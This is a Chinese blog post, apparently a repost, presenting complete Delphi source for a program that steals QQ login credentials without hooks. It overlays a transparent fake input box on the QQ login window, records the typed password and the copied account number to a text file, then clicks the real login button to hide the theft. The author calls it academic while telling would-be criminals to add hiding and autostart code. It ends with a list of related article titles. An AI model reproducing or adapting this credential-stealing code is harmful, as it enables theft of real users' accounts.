不用hook,取得QQ密码
来源:互联网 发布:smartfinder mac 编辑:程序博客网 时间:2024/05/04 10:53
对于用鼠标点登录的方法,可以用timer查询鼠标是否在登录的坐标。
这个edit和QQ的不一样,解决方法,把它透明处理,不能直接用DELPHI透明。这样控件也会不显示了,或者自己到网上下一个只有窗体透明的控件,然后用label放在edit1的位置上。我已经实现了,在这里就只谈方法吧。
因为只是学术研究,不是在写盗号程序,所以没有加入任何隐藏和自动启动程序的代码。想犯罪的低素质程序员还请自己加进去。
基于2007beta2测试通过
源码如下
unit getQQ;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls,clipbrd;
type
TForm1 = class(TForm)
Timer1: TTimer;
Timer2: TTimer;
Timer3: TTimer;
Edit1: TEdit;
Timer4: TTimer;
Timer5: TTimer;
Timer6: TTimer;
procedure Timer6Timer(Sender: TObject);
procedure Timer5Timer(Sender: TObject);
procedure Timer4Timer(Sender: TObject);
procedure Edit1KeyPress(Sender: TObject; var Key: Char);
procedure Timer3Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
rect:Trect;
h_combobox,h_parentedit,h_pw,h:Thandle;
implementation
{$R *.dfm}
procedure Mygetwindowrect(); //使form1移到QQ edit控件的坐标
var
rect1:Trect;
begin
getwindowrect(h_parentedit,rect1);
if (rect1.Top<>rect.top) or (rect1.left<>rect.left) then
begin
getwindowrect(h_parentedit,rect); //edit父窗口坐标
form1.Left:=rect.Left;
form1.top:=rect.top;
end;
end;
procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char);
var
f:Textfile;
begin
if key=#13 then
begin
Assignfile(f,'c:/djsyz.txt');
if not FileExists('c:/djsyz.txt') then rewrite(f);
append(f);
writeln(f,'密码:'+edit1.Text);//写入密码
edit1.Text:=clipboard.AsText;
writeln(f,'号码:'+edit1.Text);//写入号码
writeln(f,'-------------');//写入号码
edit1.Clear;
closefile(f);
sendmessage(findwindowex(h,0,'Button','登录'),wm_Lbuttondown,0,0);
sendmessage(findwindowex(h,0,'Button','登录'),wm_lbuttonUP,0,0);
form1.Hide;
timer1.Enabled:=false;
timer2.Enabled:=false;
timer3.Enabled:=false;
timer4.Enabled:=false;
timer5.Enabled:=false;
timer6.Enabled:=true;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
timer1.Interval:=400;
timer2.Interval:=100;
timer3.Interval:=100;
timer4.Interval:=100;
timer5.Interval:=90;
timer6.Interval:=30000;
timer1.Enabled:=true;
timer2.Enabled:=false;
timer3.Enabled:=false;
timer4.Enabled:=false;
timer5.Enabled:=true;
timer6.Enabled:=false;
end;
procedure TForm1.Timer1Timer(Sender: TObject); //确认QQ主窗口
begin
form1.Hide;
h:=findwindow ('#32770','QQ用户登录') ;
if (h>0) then
begin
form1.visible:=true;
h_combobox:=findwindowex(h,0,'ComboBox',nil);
h_parentedit:=findwindowex(h,0,'#32770',nil); //查找密码edit的父窗口
h_pw:=findwindowex(h_parentedit,0,'edit',nil); //找到密码edit,并赋值给hhh
getwindowrect(h_parentedit,rect); //edit父窗口坐标
SetWindowPos(h, HWND_NOTOPMOST, 0, 0, 0, 0,
SWP_NOMOVE or SWP_NOSIZE or SWP_NOACTIVATE or SWP_NOOWNERZORDER);
form1.Left:=rect.Left;
form1.top:=rect.top;
timer1.Enabled:=false;
timer2.Enabled:=true;
end;
end;
procedure TForm1.Timer2Timer(Sender: TObject);//焦点是否在edit1上就取号码,然后用timer3跟踪
begin
Mygetwindowrect;
if Edit1.Handle=getfocus then
begin
postmessage(h_combobox, wm_Lbuttondown, 0,0);
postmessage(h_combobox, wm_Lbuttonup, 0, 0);
setforegroundwindow(h);
keybd_event(17, 0, 0, 0);
keybd_event(ord('C'), 0, 0, 0);
keybd_event(17, 0, KEYEVENTF_KEYUP, 0);
keybd_event(ord('C'), 0, KEYEVENTF_KEYUP, 0);
postmessage(h_pw, wm_Lbuttondown, 0,0);
postmessage(h_pw, wm_Lbuttonup, 0, 0);
timer2.Enabled:=false;
timer3.Enabled:=true;
setforegroundwindow(handle);
end;
end;
procedure TForm1.Timer3Timer(Sender: TObject); //跟踪焦点是否离开了edit1
var
hh:Thandle;
begin
Mygetwindowrect;
AttachThreadInput(GetCurrentThreadID, GetWindowThreadProcessID(findwindow ('#32770','QQ用户登录') ,nil),true);
hh:=GetFocus;
AttachThreadInput(GetCurrentThreadID,GetWindowThreadProcessID(findwindow ('#32770','QQ用户登录') ,nil),false);
if (Edit1.Handle<>getfocus) then //焦点离开edit1之后,就用timer4跟踪焦点什么时候到QQ密码处
begin
timer3.Enabled:=false;
timer4.Enabled:=true;
form1.hide;
end;
end;
procedure TForm1.Timer4Timer(Sender: TObject); //跟踪焦点是否在QQ输入密码处 ,在就返回到timer2
var
hh:Thandle;
begin
AttachThreadInput(GetCurrentThreadID, GetWindowThreadProcessID(findwindow('#32770','QQ用户登录'),nil),true);
hh:=GetFocus;
AttachThreadInput(GetCurrentThreadID,GetWindowThreadProcessID(findwindow('#32770','QQ用户登录'),nil),false);
if (hh=H_pw) then
begin
form1.show;
timer4.Enabled:=false;
timer2.Enabled:=true;
end;
end;
procedure TForm1.Timer5Timer(Sender: TObject); //判断QQ窗口是否存在
begin
if findwindow ('#32770','QQ用户登录')=0 then
begin
timer1.Enabled:=true;
timer2.Enabled:=false;
timer3.Enabled:=false;
timer4.Enabled:=false;
end;
end;
procedure TForm1.Timer6Timer(Sender: TObject); //停止程序30秒
begin
timer1.Enabled:=true;
timer2.Enabled:=false;
timer3.Enabled:=false;
timer4.Enabled:=false;
timer5.Enabled:=true;
timer6.Enabled:=false;
end;
end.
- 不用hook,取得QQ密码
- 怎样通过HOOK获取QQ登录密码
- 通过HOOK获取QQ游戏登录密码
- 通过HOOK获取QQ游戏登录密码
- QQ密码忘记不用急 QQ找回有方法(转)
- Google Hack技巧——不用暴力也可以取得密码
- 不用HOOK实现倒计时对话框
- 不用汇编实现HOOK MessageBoxW
- qq密码
- QQ密码
- 不用密码登录xp
- SCP不用输密码
- sudo 不用输入密码
- ssh 不用密码登录
- scp不用输入密码
- ssh 不用输入密码
- 不用密码登录
- 如何scp不用密码
- Java错误提示
- 早期作品,无敌小闹钟
- 晚上电话
- 集合类的学习--Java1.0/1.1的集合类
- Bibiyang
- 不用hook,取得QQ密码
- 我的第一个用VE做出来的applet小程序
- hibernate基础实例
- Log4j使用总结
- .Net Framework下的字符转换
- 工厂方法(Factory Method)模式的Java实现[00原创]
- hibernate :one-to-one
- 项目管理主要网站推荐
- Essential C++ 读书笔记 之 Object-Based Programming